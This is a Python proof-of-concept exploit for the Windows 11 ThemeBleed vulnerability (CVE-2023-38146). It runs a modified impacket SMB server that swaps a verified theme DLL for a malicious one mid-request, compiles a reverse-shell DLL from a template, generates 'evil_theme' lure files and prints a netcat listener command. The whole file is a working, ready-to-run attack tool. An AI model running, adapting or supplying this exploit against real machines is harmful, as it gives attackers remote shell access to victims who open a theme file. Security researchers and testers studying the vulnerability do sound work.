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themebleed.py
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themebleed.py
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# >> PoC for the ThemeBleed CVE-2023-38146 exploit (Windows 11 Themes)
#
# Heavily inspired by https://github.com/gabe-k/themebleed which only runs on windows (the reason why i decided to write this).
# Used modified code from the impacket smbserver.py (https://github.com/fortra/impacket/blob/master/impacket/smbserver.py)
# Useful stuff: https://github.com/TalAloni/SMBLibrary/blob/master/SMBLibrary/NTFileStore/Enums/NtCreateFile/ShareAccess.cs
#
# - How to use this:
# Place a DLL with an exported function "VerifyThemeVersion" in the
# "./td/" folder named "Aero.msstyles_vrf_evil.dll"
#
# pip3 install -r requirements.txt
# python3 themebleed.py -r RHOST
#
# Use the "evil_theme.theme" or "evil_theme.themepack"
#
# Profit!
import argparse
import os
import sys
import socket
import logging as logger
from pathlib import Path
from cabarchive import CabArchive, CabFile
from impacket import smb, uuid
from impacket import smb3structs as smb2
from impacket.smbserver import SimpleSMBServer, normalize_path, isInFileJail, queryPathInformation, PIPE_FILE_DESCRIPTOR, STATUS_SMB_BAD_TID
from impacket.nt_errors import *
class TBSmbServer(SimpleSMBServer):
def __init__(self, address: str, port: int, no_smb2: bool = False) -> None:
SimpleSMBServer.__init__(self, address, port)
# replace SMB2_CREATE handler to replace the good dll with the evil dll on the fly
self._SimpleSMBServer__server._SMBSERVER__smb2Commands[smb2.SMB2_CREATE] = self.tbSmb2Create
self.server_folder = "./tb/"
if not Path(self.server_folder).exists():
os.makedirs(self.server_folder)
self.setSMB2Support(not no_smb2)
self.addShare("tb", self.server_folder)
self.default_share = "tb"
# copied and modified version from https://github.com/fortra/impacket/blob/master/impacket/smbserver.py
def tbSmb2Create(self, connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb2.SMB2Create_Response()
ntCreateRequest = smb2.SMB2Create(recvPacket['Data'])
respSMBCommand['Buffer'] = b'\x00'
# Get the Tid associated
if recvPacket['TreeID'] in connData['ConnectedShares']:
# If we have a rootFid, the path is relative to that fid
errorCode = STATUS_SUCCESS
if 'path' in connData['ConnectedShares'][recvPacket['TreeID']]:
path = connData['ConnectedShares'][recvPacket['TreeID']]['path']
else:
path = 'NONE'
errorCode = STATUS_ACCESS_DENIED
deleteOnClose = False
fileName = normalize_path(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le'))
# patch the sending of the dll file
try:
shareAccess = ntCreateRequest["ShareAccess"]
if fileName.endswith(".msstyles"):
logger.warning(f"Stage 1/3: \033[1;36m\"{fileName}\"\033[0m [shareAccess: \033[1;32m{shareAccess}\033[0m]")
# fileName = "Aero.msstyles"
elif fileName.endswith("_vrf.dll"):
if shareAccess != 0x5:
logger.warning(f"Stage 2/3: \033[1;33m\"{fileName}\"\033[0m [shareAccess: \033[1;32m{shareAccess}\033[0m]")
# fileName = "Aero.msstyles_vrf.dll"
else:
logger.warning(f"Stage 3/3: \033[1;31m\"{fileName}\"\033[0m [shareAccess: \033[1;32m{shareAccess}\033[0m]")
fileName = "Aero.msstyles_vrf_evil.dll"
except Exception as ex:
logger.error(f"tbSmb2Create: {ex}")
if not isInFileJail(path, fileName):
return [smb2.SMB2Error()], None, STATUS_OBJECT_PATH_SYNTAX_BAD
pathName = os.path.join(path, fileName)
createDisposition = ntCreateRequest['CreateDisposition']
mode = 0
if createDisposition == smb2.FILE_SUPERSEDE:
mode |= os.O_TRUNC | os.O_CREAT
elif createDisposition & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF:
mode |= os.O_TRUNC | os.O_CREAT
elif createDisposition & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE:
if os.path.exists(pathName) is True:
mode |= os.O_TRUNC
else:
errorCode = STATUS_NO_SUCH_FILE
elif createDisposition & smb2.FILE_OPEN_IF == smb2.FILE_OPEN_IF:
mode |= os.O_CREAT
elif createDisposition & smb2.FILE_CREATE == smb2.FILE_CREATE:
if os.path.exists(pathName) is True:
errorCode = STATUS_OBJECT_NAME_COLLISION
else:
mode |= os.O_CREAT
elif createDisposition & smb2.FILE_OPEN == smb2.FILE_OPEN:
if os.path.exists(pathName) is not True and (
str(pathName) in smbServer.getRegisteredNamedPipes()) is not True:
errorCode = STATUS_NO_SUCH_FILE
if errorCode == STATUS_SUCCESS:
desiredAccess = ntCreateRequest['DesiredAccess']
if (desiredAccess & smb2.FILE_READ_DATA) or (desiredAccess & smb2.GENERIC_READ):
mode |= os.O_RDONLY
if (desiredAccess & smb2.FILE_WRITE_DATA) or (desiredAccess & smb2.GENERIC_WRITE):
if (desiredAccess & smb2.FILE_READ_DATA) or (desiredAccess & smb2.GENERIC_READ):
mode |= os.O_RDWR # | os.O_APPEND
else:
mode |= os.O_WRONLY # | os.O_APPEND
if desiredAccess & smb2.GENERIC_ALL:
mode |= os.O_RDWR # | os.O_APPEND
createOptions = ntCreateRequest['CreateOptions']
if mode & os.O_CREAT == os.O_CREAT:
if createOptions & smb2.FILE_DIRECTORY_FILE == smb2.FILE_DIRECTORY_FILE:
try:
# Let's create the directory
os.mkdir(pathName)
mode = os.O_RDONLY
except Exception as e:
errorCode = STATUS_ACCESS_DENIED
if createOptions & smb2.FILE_NON_DIRECTORY_FILE == smb2.FILE_NON_DIRECTORY_FILE:
# If the file being opened is a directory, the server MUST fail the request with
# STATUS_FILE_IS_A_DIRECTORY in the Status field of the SMB Header in the server
# response.
if os.path.isdir(pathName) is True:
errorCode = STATUS_FILE_IS_A_DIRECTORY
if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE:
deleteOnClose = True
if errorCode == STATUS_SUCCESS:
try:
if os.path.isdir(pathName) and sys.platform == 'win32':
fid = VOID_FILE_DESCRIPTOR
else:
if sys.platform == 'win32':
mode |= os.O_BINARY
if str(pathName) in smbServer.getRegisteredNamedPipes():
fid = PIPE_FILE_DESCRIPTOR
sock = socket.socket()
sock.connect(smbServer.getRegisteredNamedPipes()[str(pathName)])
else:
fid = os.open(pathName, mode)
except Exception as e:
# print e
fid = 0
errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_SMB_BAD_TID
if errorCode == STATUS_SUCCESS:
# Simple way to generate a fid
fakefid = uuid.generate()
respSMBCommand['FileID'] = fakefid
respSMBCommand['CreateAction'] = createDisposition
if fid == PIPE_FILE_DESCRIPTOR:
respSMBCommand['CreationTime'] = 0
respSMBCommand['LastAccessTime'] = 0
respSMBCommand['LastWriteTime'] = 0
respSMBCommand['ChangeTime'] = 0
respSMBCommand['AllocationSize'] = 4096
respSMBCommand['EndOfFile'] = 0
respSMBCommand['FileAttributes'] = 0x80
else:
if os.path.isdir(pathName):
respSMBCommand['FileAttributes'] = smb.SMB_FILE_ATTRIBUTE_DIRECTORY
else:
respSMBCommand['FileAttributes'] = ntCreateRequest['FileAttributes']
# Let's get this file's information
respInfo, errorCode = queryPathInformation(path, fileName, level=smb.SMB_QUERY_FILE_ALL_INFO)
if errorCode == STATUS_SUCCESS:
respSMBCommand['CreationTime'] = respInfo['CreationTime']
respSMBCommand['LastAccessTime'] = respInfo['LastAccessTime']
respSMBCommand['LastWriteTime'] = respInfo['LastWriteTime']
respSMBCommand['LastChangeTime'] = respInfo['LastChangeTime']
respSMBCommand['FileAttributes'] = respInfo['ExtFileAttributes']
respSMBCommand['AllocationSize'] = respInfo['AllocationSize']
respSMBCommand['EndOfFile'] = respInfo['EndOfFile']
if errorCode == STATUS_SUCCESS:
# Let's store the fid for the connection
# smbServer.log('Create file %s, mode:0x%x' % (pathName, mode))
connData['OpenedFiles'][fakefid] = {}
connData['OpenedFiles'][fakefid]['FileHandle'] = fid
connData['OpenedFiles'][fakefid]['FileName'] = pathName
connData['OpenedFiles'][fakefid]['DeleteOnClose'] = deleteOnClose
connData['OpenedFiles'][fakefid]['Open'] = {}
connData['OpenedFiles'][fakefid]['Open']['EnumerationLocation'] = 0
connData['OpenedFiles'][fakefid]['Open']['EnumerationSearchPattern'] = ''
if fid == PIPE_FILE_DESCRIPTOR:
connData['OpenedFiles'][fakefid]['Socket'] = sock
else:
respSMBCommand = smb2.SMB2Error()
if errorCode == STATUS_SUCCESS:
connData['LastRequest']['SMB2_CREATE'] = respSMBCommand
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
if __name__ == "__main__":
logger.basicConfig(format="\r%(asctime)s %(levelname)s> %(message)s", level=logger.DEBUG)
parser = argparse.ArgumentParser()
parser.add_argument("-r", "--host", dest="ipaddress", help="IP Address of the rev shell host", type=str, required=True)
parser.add_argument("-p", "--port", dest="port", help="Port of the rev shell host", type=int, default=4711)
parser.add_argument("-n", "--no-dll", dest="nodll", help="Don't use the built in dll", action='store_true')
parser.add_argument("--x86", dest="x86", help="Compile dll as 32bit", action='store_true')
args = parser.parse_args()
logger.info("ThemeBleed CVE-2023-38146 PoC [\033[1;36mhttps://github.com/Jnnshschl\033[0m]")
logger.info("Credits to -> \033[1;33mhttps://github.com/gabe-k/themebleed\033[0m, \033[1;33mimpacket\033[0m and \033[1;33mcabarchive\033[0m\n")
# compile rev_shell.cpp
if not args.nodll:
compiler = "i686-w64-mingw32-g++" if args.x86 else "x86_64-w64-mingw32-g++"
dll_source = "./rev_shell_template.cpp"
dll_source_mod = "./rev_shell.cpp"
dll_path = "./tb/Aero.msstyles_vrf_evil.dll"
dll_args = f"{dll_source_mod} -shared -lws2_32 -o {dll_path}"
try:
with open(dll_source) as dll_source_template_file:
with open(dll_source_mod, "w+") as dll_source_file:
source = dll_source_template_file.read().replace("{{IP_ADDR}}", args.ipaddress).replace("{{PORT}}", str(args.port))
dll_source_file.write(source)
compile_result = os.system(f"{compiler} {dll_args}")
if compile_result == 0 and Path(dll_path).exists():
logger.info(f"Compiled DLL: \033[1;36m\"{dll_path}\"\033[0m")
else:
logger.error(f"Failed to build DLL using ({compiler}): \033[1;31m{compile_result}\033[0m")
logger.error(f"-> {compiler} {dll_args}")
exit(1)
finally:
if Path(dll_source_mod).exists():
os.remove(dll_source_mod)
# generate theme and themepack
with open("./theme_template.theme") as theme_template:
with open("./evil_theme.theme", "w+") as evil_theme:
tt = theme_template.read().replace("{{IP_ADDR}}", args.ipaddress)
evil_theme.write(tt)
arc = CabArchive()
arc["evil_theme.theme"] = CabFile(tt.encode())
logger.info("Theme generated: \033[1;36m\"evil_theme.theme\"\033[0m")
with open("evil_theme.themepack", "wb") as evil_themepack:
evil_themepack.write(arc.save())
logger.info("Themepack generated: \033[1;36m\"evil_theme.themepack\"\033[0m\n")
logger.info(f"Remember to start netcat: \033[1;32mrlwrap -cAr nc -lvnp {args.port}\033[0m")
logger.info(f"Starting SMB server: \033[1;32m{args.ipaddress}:445\033[0m\n")
TBSmbServer(args.ipaddress, 445).start()